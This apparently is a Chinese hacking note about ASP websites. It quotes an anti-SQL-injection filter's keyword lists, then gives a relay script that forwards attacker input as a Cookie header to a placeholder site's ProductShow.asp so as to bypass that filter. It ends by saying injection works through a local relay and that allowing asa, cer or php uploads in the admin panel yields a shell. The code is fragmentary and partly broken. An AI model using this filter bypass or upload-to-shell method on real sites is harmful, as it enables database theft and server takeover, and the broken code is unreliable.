Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name

------定义部份  头----------------------------------------------------------------------

Err_Message = 1        处理方式：1=提示信息,2=转向页面,3=先提示再转向

Err_Web = "Err.Asp"    出错时转向的页面

Query_Badword="∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="

在这部份定义get非法参数,使用"∥"号间隔

Form_Badword="∥%∥&∥*∥#∥(∥)∥="     在这部份定义post非法参数,使用"∥"号间隔

取ProductShow.asp 构造

Str="id="&escape(request("ro"))
Url="http://www.xxxx.com/ProductShow.asp"
response.write PostData(Url,Str)

Function PostData(PostUrl,PostCok)

With Http

.Open "GET",PostUrl,False
.SetRequestHeader "Cookie",PostCok

Set Http = Nothing
PostData =bytes2BSTR(PostData)

本地架设asp环境,可以进行注射！

后台添加上传格式asa|cer|php等可以得到shell
